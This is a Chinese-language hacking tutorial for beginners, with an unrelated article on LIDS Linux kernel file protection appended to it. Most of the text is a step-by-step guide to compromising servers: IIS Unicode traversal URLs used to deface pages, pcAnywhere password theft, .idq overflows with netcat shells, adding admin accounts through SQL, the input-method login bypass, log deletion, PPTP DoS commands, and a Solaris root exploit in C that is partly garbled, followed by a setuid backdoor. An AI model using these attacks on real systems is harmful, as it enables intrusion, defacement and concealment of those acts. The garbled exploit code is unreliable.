这是老漏洞了,但对于新手来说很好用,而且事实证明现在仍有很多的机子有这种漏洞,OK我们开始
先用扫描器扫到有UNICODE漏洞的机子,(注意漏洞的编码方式有所不同有的是..%CI%IC.. 用的是..%C0%AF..当然还有其它的方式, 具体根据你的扫描器扫出的结果为标准
我们在流览器(IE)的地址栏中输入
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+dir
这时你可以看到它的系统目录但我们要的是主页面放置的目录
在输入
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot
看到了吧,目录中的INDEX.HTML INDEX.ASP DEFAULT.ASP DEFAULT.ASP等等就是它的主页面,
我们来换它的页面
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

http://ip/scripts/ccc.exe?/c+echo+Hacked+by+KAWEN+ >+c:\inetpub\wwwroot\default.asp
OK
成功了,此时它的主页面被换成了HACKED BY KAWEN
大家可以看看
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe 执行后是复制,如果换成这个呢
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+DEL+c:\winnt\system32\cmd.exe
没错就是删除了
知道怎么做了吧
呵呵

2利用PCANWHERE攻击网站
现在开始入正题了,刚才只是热身
由于NT的机器一般使用PCAnyWhere进行远程管理,因此如果能够得到PCAnyWhere远程连接的帐号和密码,那么就能远程连接到主机。 （ http://fxyong.3322.net/getpwd.zip ）便可以取得帐号和密码
Telnet IP 5631
我们可以看看PCANYWHERE开了没
使用Unicode漏洞+ PCanyWhere密码查看工具
首先我们要DOWN一个可以破 Pcanywhere的工具
http://www.symantec.com/
OK 我们现在要找到主机上的*.CIF文件
在IE中输入 http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+dir c:\*.cif /s
一般Citempl.cif为系统默认的密码文件，因此我们需要SA.CIF文件。 复制该文件到网站目录下。
需要知道网站目录，可以通过ida,idq漏洞进行得到，也可以去寻找网站中的一个图片文件，比如Tscontent.gif文件，然后去查找该文件：使用命令 dir c:\ Tscontent.gif /s
比如网站目录为c:\inetpub\wwwroot\ 一般都有是啦 呵呵
密码文件所在目录：c:\Program Files\pcANYWHERE\DATA
下面执行Copy命令：
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+copy c:\Program Files\pcANYWHERE\DATA\SA.CGI c:\inetpub\wwwroot\
显示1 file(s) copied，就表示复制成功了。

使用IE下载该文件
使用 http://IP/sa.cif 就可以下载该文件了。

使用PCanyWhere密码查看工具得到用户名和密码

3利用.idq漏洞

为了方便大家可以看懂下面说的是什么可以先到这里来看看
http://snake12.top263.net/IISOverflow/IISOverflow.htm
一共有两个版本.一个是GUI版本.一个是命令行版本.
这里我们来说CUI版本,反正都差不多了,关键是要多试
首先我们要找到有.IDQ漏洞的机子,可以用流光扫一下
运行软件
在被攻击IP地址后面写上对方的IP.端口号一般不需要改动.
左面选择操作系统类型.先选择IIS5 English Win2k Sp0吧~
软件的默认绑定CMD.EXE的端口是813.不改了.用默认吧~~~
点击IDQ溢出~~OK~~出现发送Shellcode成功的提示了.
接着我们用NC,你可以到到盟下载 http://www.cnhonker.com/
C:\>nc -vv XXX.XXX.XXX.XXX 813
XXX.XXX.XXX.XXX: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [XXX.XXX.XXX.XXX] 813 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

OK!!!上来了
你现在有SYSTEM权限,不错吧,该做什么不用我教了吧,比如为自已留下个后门
net user hacker password /add '添加一给名为hacker，密码为passwod的用户！
net localgroup administrators hacker /add ' 把刚才创建的用户加入 Admnistrators组
OK我们在来看看DOS版本
下载软件后会有个运行文件,它太长了,将它必名为KAWEN
D:\>KAWEN
运行参数: 操作系统类型 目的地址 web端口 溢出端口
支持的操作系统 类型: ----
0 -- IIS5中文Win2k Sp0
1 -- IIS5中文Win2k Sp1
2 -- IIS5中文Win2k Sp2
3 -- IIS5 English Win2k Sp0
4 -- IIS5 English Win2k Sp1
5 -- --not support -- IIS5 English Win2k Sp2
6 -- IIS5 Japanese Win2k Sp0
7 -- IIS5 Japanese Win2k Sp1
8 -- --not support -- IIS5 Japanese Win2k Sp2

D:\>KAWEN 3 XXX.XXX.XXX.XXX80 456
连接目的机器 XXX.XXX.XXX.XXX:80 OK.
发送shellcode 到 XXX.XXX.XXX.XXX:80 OK
现在，你可以 连接 该主机的 端口 456了,good luck.!

开始吧
D:\>nc -vv XXX.XXX.XXX.XXX 456
mail.rycf.org [XXX.XXX.XXX.XXX] 456 (?): connection refused
sent 0, rcvd 0: NOTSOCK

没成功.试试sp1.
D:\>KAWEN 4 XXX.XXX.XXX.XXX 80 888
连接目的机器 XXX.XXX.XXX.XXX:80 OK.
发送shellcode 到 XXX.XXX.XXX.XXX:80 OK
现在，你可以 连接 该主机的 端口 888了,good luck.!
D:\>nc -vv XXX.XXX.XXX.XXX 888
XXX.XXX.XXX.XXX: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [XXX.XXX.XXX.XXX] 888 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>
看看我们又成功了

4 SQL攻击网站
这个也很方便,呵呵,上次在对美国大战中也有不少兄弟是用这种方法的,来看看吧
我们需要小榕的流光作为武器,到WWW.NETEYES.COM去DOWN一个
运行流光然后按快捷键ctrl＋r搜索！
选择aql！输入开始和结束的IP！扫描吧！到搜索结束！察看流光最下面的视图！格式如下：
用户名 密码 地址
sa 211.21.220.28
sa 211.21.220.26
sa 211.21.220.197
其中《null》表示密码为空！
双击其中一项（或在工具……>SQL登录）！会弹出一个dos窗口！如果过一会该窗口消失！没戏了！对方不支持远程登录！在换一个！如果过一会出现如下的字样：
SQL Remote Cmd For Fluxay 2001 by Assassin 1995 - 2000. Thanks to Eyas!
Connect to 211.21.220.28 MSSQL Server Success, Type Command in Prompt.
SQLCmd>
那表示已经登录上了对方的主机！然后
SQLCmd>net user ‘察看用户！如果不能察看，说明sa权限不够，那也没戏，换其他的方法！或是走人！有时用net user察看成功！再试试
SQLCmd>net user administrator ’察看Admin的情况（可知是否在线）如果失败，撤退吧，
没戏，换方法！ 没有权限,但是如果可以的话
下一步：
SQLCmd>net user hacker password /add '添加一给名为hacker，密码为passwod的用户！
SQLCmd>net localgroup administrators hacker /add ' 把刚才创建的用户加入 Admnistrators组

好了，告一段落，下面启动DOS用刚创建的用户进行ipc$
net use \\*.*.*.*\ipc$ "password" /user:"hacker" '很熟悉吧！IPC$开始了！
执行成功的话！搞吧！删除！上传！下载！要什么！随你！
例如copy c:\hacker\index.htm \\IP\c$\inetpub\wwwroot\default.htm (IP为它的IP)
干什么，换他的主页啊！呵呵！

据我的实践！针对台湾的主机！另一方法是用刚创建的用户名和密码用CuteFtp登录！就象管理自己的站点一样！任意删除创建Html页面！此方法对美国的主机没有成功过！我都是IPC$搞定的！

以上的原理是用SQL开门！用IPC$进门做作administrator可以作的事！但对于SQL主机！Administrator一般没有对数据库删除或创建的权限！此时可以down下他的sam文件解密(怎么DOWN?晕,看看我在上面UNICODE中写的教材)！默认用户名SQLAgentCmdExec，然后用天行的SQlBrowse登录就可以对数据库任意操作了！

5 利用输入法漏洞
要说老美真不是东西,这么大个洞现在还尚存人间,也好,大家可以练练手
1、用端口扫瞄程序扫IP的3389端口，得到xx.xx.xx.xx。

   2、运行windows2000终端客户程序，在服务器输入框里填入：xx.xx.xx.xx ，连接。

   3、出现windows2000的登陆窗口，按下CTRL+SHIFT键，出现全拼输入法。

   4、在输入法状态条上按mouse右键，选择帮助，选择输入指南，选择"选项"按右键。

   5、选择"跳转到URL"，输入：c:\winnt\system32\cmd.exe.

   6、选择"保存到磁盘"。

   7、选择目录：c:\inetpub\scripts\

   8、打开IE，输入：xx.xx.xx.xx/scripts/cmd.exe?/c+dir+c:\ （知道了吧）

   9、输入：xx.xx.xx.xx/scripts/cmd.exe?/c+echo+BEIJING+>c:\inetpub\wwwroot\default.asp

还有一种方法
1.扫描 3389 port 终端服务默认；
2.用终端客户端程序进行连接；
3.按ctrl+shift调出全拼输入法（其他似乎不行），点鼠标右键（如果其帮助菜单发灰，就赶快赶下家吧，人家打补丁了），点帮助，点输入法入门；
4.在"选项"菜单上点右键--->跳转到URL"，输入：c:\winnt\system32\cmd.exe.（如果不能确定NT系统目录，则输入：c:\ 或d:\ ……进行查找确定）；
5.选择"保存到磁盘" 选择目录：c:\inetpub\scripts\，因实际上是对方服务器上文件自身的复制操作，所以这个过程很快就会完成；
6.打开IE，输入： http://ip/scripts/cmd.exe?/c dir 怎么样？有cmd.exe文件了吧？这我们就完成了第一步；
7. http://ip/scripts/cmd.exe?/c echo net user guest /active:yes>go.bat
8. http://ip/scripts/cmd.exe?/c echo net user guest elise>>go.bat
9. http://ip/scripts/cmd.exe?/c echo net localgroup administrators /add guest>>go.bat
10. http://ip/scripts/cmd.exe?/c type go.bat 看看我们的批文件内容是否如下：

net user guest /active:yes
net user guest elise
net localgroup administrators /add guest
11.在"选项"菜单上点右键--->跳转到URL"，输入：c:\inetpub\scripts\go.bat --->在磁盘当前位置执行；
12.呵呵，大功告成啦，这样我们就激活了服务器的geust帐户，密码为：elise，超级用户呢！ （我喜欢guest而不是建立新帐户，这样似乎不易被发现些），
最后一定别不记的X掉自已的脚印
del+C:\winnt\system32\logfiles\*.*
del+C:\winnt\ssytem32\config\*.evt
del+C:\winnt\system32\dtclog\*.*
del+C:\winnt\system32\*.log
del+C:\winnt\system32\*.txt
del+C:\winnt\*.txt
del+C:\winnt\*.log

6 教你DoS攻击微软的PPTP
呵呵,大家没有看错,的确是微软的,我们先看看PPTP是个什么东东PPTP(Piont-to-point Tunneling Protocol 点对点传输协议)是一个用以建立VPN的网络协议. 此协议需TCP(端口1723)和GRE以完成工作.
易收攻击系统：
* Dell PowerEdge 2200 with Intel 10/100 adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS M200s with 3Com 905B adapter, 64 MB RAM, NT Server 4.0

安全的系统：
* HP Vectra XA with AMD PCNet integrated Ethernet, 128 MB RAM, NT Workstation 4.0
* Dell Latitude CPx with 3Com 3CCFEM656 PC Card adapter, 128 MB RAM, NT Workstation 4.0
* Generic dual PII (Asus motherboard) with 3Com 980x adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS T550 with 3Com 905C-TX adapter, 128 MB RAM, NT Workstation 4.0

如何实现：
~~~~~~~~~
*需要的工具*
1.UNIX box(例如linux,*bsd....)
2.netcat ( http://www.l0pht.com/~weld/netcat/ )
3.apsend ( http://www.elxsi.de/ )
4.ipsend ( http://coombs.anu.edu.au/~avalon/ )

OK,这就好说了,
我们来看它的三个BUG
1 TCP端口1723
此弱点只在prior至SP6的机器上有效。并不是所有的机器都存在这个漏洞；请在Unix 操作系统内键入以下：
$ nc 1723 < /dev/zero

如机器存在此漏洞, 目标主机将在几秒种之内蓝屏，并有如下错误：
STOP 0x0A (0x0, 0x2, 0x0, 0x0) IRQL_NOT_LESS_OR_EQUAL
再次提醒，此弱点只对部分机器有效

2 GRE
此弱点对所有Service pack有效
在目标机器上，打开任务管理器选择“运行”。并打开 一个DOS窗口（开始-运行-CMD).在Unix类操作系统上：
$ apsend -d --protocol 47 -m 0 -q
在目标主机上你将看到任务管理器内内核记忆的数字将缓慢上升。最终，这些数字将停止增加；此时， CPU在一段时间内有可能被100%占用。现在你可以试着在命令提示符后键入一个命令例如DIR,这时你将看 到一个信息说提示操作系统已不可能完成要执行的命令

3弱点三：GRE
此弱点同样对所有的Service pack有效。请在Unix操作系统上：
#!/bin/csh
foo:
ipsend -i -P gre > /dev/null
goto foo
目标主机很快会蓝屏，大概需要50个数据包。
明白了吧

7 UNIX攻击
这里为了方便我们用finger 0@ip 来找UNIX的薄弱机器
C:\>finger 0@IP
xxx.xxx.xxx.xxx]

Login Name TTY Idle When Where

daemon ??? < . . . . >

bin ??? < . . . . >

sys ??? < . . . . >

jeffrey ??? pts/0 203.66.149.11

daniel ??? 437 114cm.kcable.

jamie ??? 0 203.66.162.68

postgres ??? pts/2 203.66.162.80

nsadmin ??? 768 203.66.19.50

ho ??? 390 61.169.209.106

house18 ??? pts/1 203.66.250.1

tong ??? pts/0 210.226. 42.69

jliu ??? pts/0 203.66.52.87

ptai ??? < . . . . >

看到了吗,这里的LOGIN下的就是我们要的用户名了
比如jeffrey,Daniel,Jamie,postgres
下面我们就来入侵
C:\>telnet xxx.xxx.xxx.xxx
一般的情况下我们都是猜密码,怎么猜??就是上面LOGIN下的用户名让它又做用户名和密码呀,事实上总有一些人为了方便是这么设置的
login: ptai （***输入用户名***）

Password: **** （***输入密码***）

Login incorrect （***登陆失败***）

login: jliu

Password:

Login incorrect

$ login: tong

Password:

Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 （***这个用户上次登陆时的IP***）

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail. (***HOHO~登陆成功啦***)
看看这不就进来了
$ uname –a (***查看系统版本和补丁信息***)
$ set (***查看一些系?�潮淞啃畔?**)
$w 看看用户情况
$ gcc 我们看看有没有编辑器,以后你就知道有什么用了
gcc: No input files
看到没有GCC呀
$ ls -al

total 14

drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .

drwxr-xr-x 35 root root 1024 May 7 10:46 ..

-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile

-rw------- 1 root staff 320 Jul 4 18:52 .sh_history

-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc

-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login

-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile

$ cat /etc/passwd (***检查/etc/passwd***)

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody:/:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

oracle:x:1001:100::/export/home/oracle:/bin/sh

render7:x:9589:101::/export/home/render7:/bin/sh

$ ls -al / (***查看根目录是否有.rhosts等文件***)

计算机输入信息略
$ netstat -an|grep LISTEN (***查看有没有可疑端口***)
*.111 *.* 0 0 0 0 LISTEN

*.21 *.* 0 0 0 0 LISTEN

*.23 *.* 0 0 0 0 LISTEN

*.514 *.* 0 0 0 0 LISTEN

*.513 *.* 0 0 0 0 LISTEN

*.512 *.* 0 0 0 0 LISTEN

*.540 *.* 0 0 0 0 LISTEN

*.79 *.* 0 0 0 0 LISTEN

*.37 *.* 0 0 0 0 LISTEN

*.7 *.* 0 0 0 0 LISTEN

*.9 *.* 0 0 0 0 LISTEN

*.13 *.* 0 0 0 0 LISTEN

*.19 *.* 0 0 0 0 LISTEN

….

$ cd /tmp

$ ls -al

好像没有什么问题我们来提升权限
$ set
$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$ cd /tmp
$ cat > test.c (***用cat命令写一个文件***)
这是核心呀,这就是拿到ROOT权限中重要的一步
*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/

/*## /usr/lib/lp/bin/netpr #*/

/* requires to specify the address of a host with 515 port opened */

#define NOPNUM 4000

#define ADRNUM 1200

#define ALLIGN 3

char shellcode[]=

"\x20\xbf\xff\xff" /* bn,a */

"\x20\xbf\xff\xff" /* bn,a */

"\x7f\xff\xff\xff" /* call */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"/bin/ksh"

;

char jump[]=

"\x81\xc3\xe0\x08" /* jmp %o7+8 */

"\x90\x10\x00\x0e" /* mov %sp,%o0 */

;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){

char buffer[10000],adr[4],*b,*envp[2];

int i;

printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");

printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");

if(argc==1){

printf("usage: %s lpserver\n",argv[0]);

exit(-1);

}

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;

envp[0]=&buffer[0;]

envp[1]=0;

b=&buffer[0;]

sprintf(b,"xxx=");

b+=4;

for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;

for(i=0;i

for(i=0;i

*b=0;

b=&buffer[5000;]

for(i=0;i

for(i=0;i

*b=0;

execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

"-p",&buffer[5000;,"/bin/sh",0,envp)]

}

^D
(***这里是按ctrl + d 结束写文件,你用vi来写也可以，ftp，rcp等上传也可以。***)
(***源程序在 http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)

$ ls -al /tmp (***查看test.c是否建立***)

找到了吧,哪我们就成功的建立了
$ gcc -o test test.c 编辑它,使它溢出
$ ./test

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc

usage: ./test lpserver

$ ./test localhost

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc

# id

uid=1035(delex) gid=20(staff) euid=0(root) (***成功获得root***)
OK,想做什么就看你的了下面是一些题外话了
# mkdir /usr/lib/...

# cp /bin/ksh /usr/lib/…/.x (***做个简单的后门***)

# chmod +s /usr/lib/…/.x

# cat /etc/hosts (***看看这个网络多大***)

以下是在上面所要用到的扫描器和原代码
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip

SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip

里面所用到的有些程序代码请到 http://lsd-pl.net/ 或 http://www.hack.co.za/ 查找。
其实每个操作系统都有漏洞,简单的说我们只要找到该系统对应的漏洞然后编辑它,使它溢出就可以了,这也是黑客最常用的手法

8,D.O.S
呵呵,还记的对白宫的DOS之战吗,呵呵,哪还不来试试
下载软件
FakePing的工具 Http://www.patching.net/shotgun/FakePing.exe
下载 udpflood.zip
安装网址： http://202.102.230.155/netsafe/software/hacker/attack.htm

9 备注
还有一些很好的漏洞资料请大家好好学学
IIS　漏　洞　整　理
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=33

利用wu-ftpd2.x(site exec bug)取得root权限
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=38

入侵检测系统（IDS）简介 转载
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=32

FRONTPAGE漏洞的执行
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=63

ASP漏洞(1)
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=59

ASP漏洞(2)
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=60

ASP漏洞(3)
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=61

CGI漏洞
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=55

IIS漏洞及应用
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=49

漏洞扫描器大集合
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=87

好了,总算是完成了,大家只要认真的看了,就一定会在技术上有进一步的提高,当然以后大家就只有自已学了,写的不好,请大家见谅。


LIDS精通与进阶

作者：chaobowang@sina.com

一、系统入侵

    随着Internet上的Linux主机的增加，越来越多的安全漏洞在当前的GNU/Linux系统上发现。你也许在Internet上听说过在Linux下发现Bug，它会导致系统很容易的被黑客攻击。

    因为Linux是一个开放源代码的系统，漏洞很容易发现，并且也会很快的有补丁出来。但是当漏洞没有公布的时候，并且管理员很懒，没有去打补丁。黑客就会很容易的攻击这个系统，取得root权限，在现有的GNU/Linux下，他就可以做任何他想做的事情。现在你可以问，我们现在到底可以做些什么呢？

1、现在的GNU/Linux错误在哪里？

    超级用户会滥用职权，他能够做所有他要做的事情。作为root。他会改变所有的东西。
    许多系统文件很容易被更改。这些文件可能是很重要的文件，如/bin/login，如果一个黑客进入，他可以上传一个login程序来覆盖/bin/login，这样他就可以不用登陆名和密码来登陆系统。但是这些文件不需要经常改动，除非你要升级系统。
    模块modules很容易用来中断内核。模块是为了让Linux内核更模块话和更高效而设计的。但是当模块加入到内核，它就会成为内核的一部分并且能做原始内核能做的工作。因此，一些不友好的代码可以写成模块来加入到内核里，这些代码就会重定向系统调用并且作为一个病毒来运行。
    进程是不受保护的，一些进程，如后台的Web服务器，一直都认为是没有严格保护的程序。因此，他们就会很容易被黑客攻击。

2、LIDS的设想是什么。

    保护重要文件。因为文件很容易被root更改，为什么不严格文件操作呢？因此，LIDS改变了文件系统在内核里的安全系统调用。如果某个时候一些人访问一个文件，他就会进入系统调用然后我们就可以检查文件名并且看她们是否被保护。如果它已经被保护，我们就可以拒绝这个访问者的要求。
    保护重要的进程。这个和上面的保护进程的想法不是一样的。当一个系统里运行一个进程，它会在/proc 文件系统里有一个用pid作为路径名的入口。所以，如果你用"ps -axf"你就可以显示出当前运行的进程。你可以问如果保护这些进程。如果你要杀死一个进程的话，首先，你键入"ps"来得到进程的PID，然后，你键入"kill 〈pid〉"来杀死它。但是，如果我不让你看到进程，你怎么来杀死这个进程呢？因此，LIDS是用隐藏进程来保护它的。 另外一个重要的方法就是不让任何人可以杀死进程，包括root用户。LIDS能够保护父进程是init（pid=1）的所有进程 。
    封装内核。有时候我们需要要把一些必要的模块加入到内核里来使用，另外，我们也要拒绝任何人包括root用户向内核插入模块。那么如何来平衡这个矛盾的问题呢？我们可以只允许在系统启动的时候插入模块，然后我们封装模块，在封装后，内核不允许任何人插入模块到内核里。通过这种封装功能，我们能用它来保护重要的文件，进程，我们可以在系统启动的时候只允许必要的进程，只改变必要的文件。在封装内核后，我们就不能在对文件有任何的修改。

二、保护文件系统

1、保护文件系统是LIDS的重要功能之一。这个功能是在内核的VFS（虚拟文件系统）层实现的，我们可以保护任何种类的文件系统，如EXT2，FAT。 在LIDS，保护的文件按种类分为以下几种：

只读的文件或目录。只读文件意味着它们不被允许改写，如，在目录/usr/bin，/sbin。这些类型的文件大多数都是二进制系统程序或是系统配置文件，除了在升级系统的时候，我们不需要改变它们。
只可增加文件或目录。这些文件是那些只可以增加大小的文件。大多数是系统的日值文件，如在/var/log里的只可增加文件。
额外的文件或目录，这些文件没有被保护。一般来说，你想要保护目录下的所有文件，但是，还需要有一些特殊的文件不要被保护。所以我们可以定义这些文件作为额外的其他的只读文件。
保护挂载或卸载文件系统。当你在启动的时候挂载文件系统的时候，你可以禁止所有人，甚至是root，去卸载文件系统。你也可以禁止任何人在当前文件系统下挂载文件系统来覆盖它。

2、LIDS如何在内核保护文件

在这部分，我们会看到一些内核的代码来理解LIDS是如何保护文件的。

（1）、Linux文件系统数据结构程序

首先，我们必须了解Linux的虚拟文件系统。

在Linux里的每一个文件，不管是什么样子的，都有一个结点inode数，文件系统提供了以下数据结构。

在/usr/src/linux/include/linux/fs.h

struct inode {
struct list_head　　　　　i_hash;
struct list_head　　　　　i_list;
struct list_head　　　　　i_dentry;

unsigned long　　　　 　　i_ino; ----> inode number.
unsigned int　　　　　　　i_count;
kdev_t　　　　　　　　　　i_dev; ----> device number.
umode_t　　　　　　　　　 i_mode;
nlink_t　　　　　　　　　 i_nlink;
uid_t　　　　　　　　　　 i_uid;
......
}

注意：用来鉴定一个结点inode。这个意思是你可以用一对来得到一个系统里独一无二的inode。

在/ur/src/linux/cinclude/linux/dcache.h里

struct dentry {
         int d_count;
        unsigned int d_flags;
        struct inode * d_inode; 　　　　　　/* Where the name belongs to - NULL is negative */
        struct dentry * d_parent;　　　　　/* parent directory */
        struct dentry * d_mounts;　　　　　/* mount information */
        struct dentry * d_covers; struct list_head d_hash;　　　/* lookup hash list */
        struct list_head d_lru;　　　　　　/* d_count = 0 LRU list */
        struct list_head d_child;　　　　　/* child of parent list */
        struct list_head d_subdirs;　　　　/* our
        ......
}

dentry是一个目录文件的入口。通过这个入口，我们可以很容易的在文件的父目录下移动。

例如，如果你一文件的inode是(struct inode*)file_inode，如果你可以用file_inode->d_entry来得到它的目录入口并且用file_inode->d_entry->d_parent来得到父目录的目录入口。

（2）、LIDS保护数据结构

在分析完linux文件系统后，让我们来看看LIDS是如何容VFS来保护文件和目录的。

在/usr/src/linux/fs/lids.c

struct secure_ino {
        unsigned long int ino;　　　　　/* the inode number */
        kdev_t dev;　　　　　　　　　　 /* the dev number /*
        int type;　　　　　　　　　　　 /* the file type */
        };

上面的结构用一对来存储保护文件或目录的结点。"type"是用来标明保护结点文件类型的。

LIDS有4种类型：

在/usr/src/linux/include/linux/fs.h

#define LIDS_APPEND　　　　1　　　　/* APPEND ONLY
    FILE */
#define LIDS_READONLY　　　2　　　　/* Read Only File */
#define LIDS_DEVICE　　　　3　　　　/* Protect MBR Writing to device */
#define LIDS_IGNORE　　　　4　　　　/* Ignore the protection */

通过secure_ino结构，我们能很容易的初使化保护的文件或是在内核里执行以下函数。

在/usr/src/linux/fs/lids.c

int lids_add_inode(unsigned long int inode ,kdev_t dev , int type)
{

          if ( last_secure == (LIDS_MAX_INODE-1))
          return 0;

          secure[last_secure].ino = inode;
          secure[last_secure].dev = dev;
          secure[last_secure].type = type;
          secure[++last_secure].ino = 0;

#ifdef VFS_SECURITY_DEBUG
          printk("lids_add_inode : return %dn",last_secure);
#endif
          return last_secure;
}

就象你在上面代码上可以看到的，给secure_ino加到一个结点上是非常容易的。被保护的结点会在系统启动的时候初使化。初使化程序在/usr/src/linux/fs/lids.c的init_vfs_security()里。

现在，让我们看看LIDS是如何来检查是否一个结点已经受到保护。

在/usr/src/linux/fs/open.c

int do_truncate(struct dentry *dentry, unsigned
    long length)
{
struct inode *inode = dentry->d_inode;
int error;
struct iattr newattrs;
/* Not pretty: "inode->i_size" shouldn't really be "off_t".
    But it is. */
if ((off_t) length < 0)
return -EINVAL;

#ifdef CONFIG_LIDS
if (lids_load && lids_local_load) {
error =
lids_check_base(dentry,LIDS_READONLY);
if (error) {
lids_security_alert("Try to truncate a protected file (dev
    %d %d,inode %ld)",
MAJOR(dentry->d_inode->i_dev),
MINOR(dentry->d_inode->i_dev),
dentry->d_inode->i_ino);
.....................

这个是LIDS加到内核里做检测的一个例子。你会看到lids_check_base()是LIDS保护方法的一个核心函数。

你可以在LIDS要保护的地方看到很多LIDS保护方法用到lids_check_base()函数，特别是在linux内核的子目录下。

在/usr/src/linux/fs/lids.c

int lids_check_base(struct dentry *base, int
    flag)
{
..................
inode = base->d_inode;　　　　　/* get the inode number */
parent = base->d_parent; /* get the parent diretory */
.................
---->　　do {
if ( inode == parent->d_inode)
break;
if ((retval = lids_search_inode(inode))) {
if ( retval == LIDS_IGNORE || (retval == LIDS_DEVICE &&
    flag != LIDS_DEVICE)) break;
if ( flag == LIDS_READONLY || ( flag == LIDS_APPEND &&
    retval >flag ) || ( flag == LIDS_DEVICE && flag == retval )) {
return -EROFS;
} break; }
inode = parent->d_inode;
} while( ((parent = parent->d_parent ) != NULL) );
return 0;
}

lids_check_base()会检查一个给定文件的dentry和它的父目录是否被保护。

注意：如果它的父目录被保护，它下面的文件也会被保护。

例如，如果"/etc/"被保护，"/etc/passwd"也一样被保护。

（3）、在内核保护系统调用

为了保护系统，LIDS会在一些检查临界的系统调用的时候做检查。因此，我们可以保护系统调用和限制文件系统的用户调用。

这些是一些例子：

open()，open是通过禁止一些权利来保护文件的打开。你可以在打开调用open_namei()调用的时候LIDS在检测它。
mknod()，mknod是用来在指定目录下保护mknod。
unlink()，在内核代码检查do_unlink()。

三、保护设备

Linux的设备会在/dev/目录下以文件的形式列出，我们可以用上面保护文件的方法来保护设备。但是在一些情况下，用户也可以用IO操作来旁路文件系统来读写设备，我们必须注意这个问题。

1、设备，内核I/O

在GNU/Linux系统下的设备会以文件的形式表达，所以我们可以用保护文件系统那样来保护设备。

用户的I/O访问是通过系统调用sys_operm和sys_iopl来实现的。你可以看看/usr/src/linux/arch/i386/kernel/ioport.。这个是要基于系统结构的，要是到其他平台，就需要注意它们的变化。

2、如何用LIDS来保护

大多数情况下，程序不需要通过在/dev的设备文件名称来访问设备。但是，一些特殊的程序需要直接访问，如X Server,这个会写到/dev/mem和甚至是I/O设备。我们需要一些额外的东西来保护设备。LIDS会在配置内核的时候来定义这个功能。

CONFIG_LIDS_ALLOW_DEV_MEM,如果你选择了开启这个功能，你就可以允许一些特殊程序来访问/dev/men和/dev/kmen这些内核临界的设备。如果你想要用内核的X Server，选择这个功能就会在配置内核的时候提供整个路径和文件名。
CONFIG_LIDS_ALLOW_RAW_DISKS，如果选择这个开启，你就可以允许一些特殊的程序来访问物理磁盘。
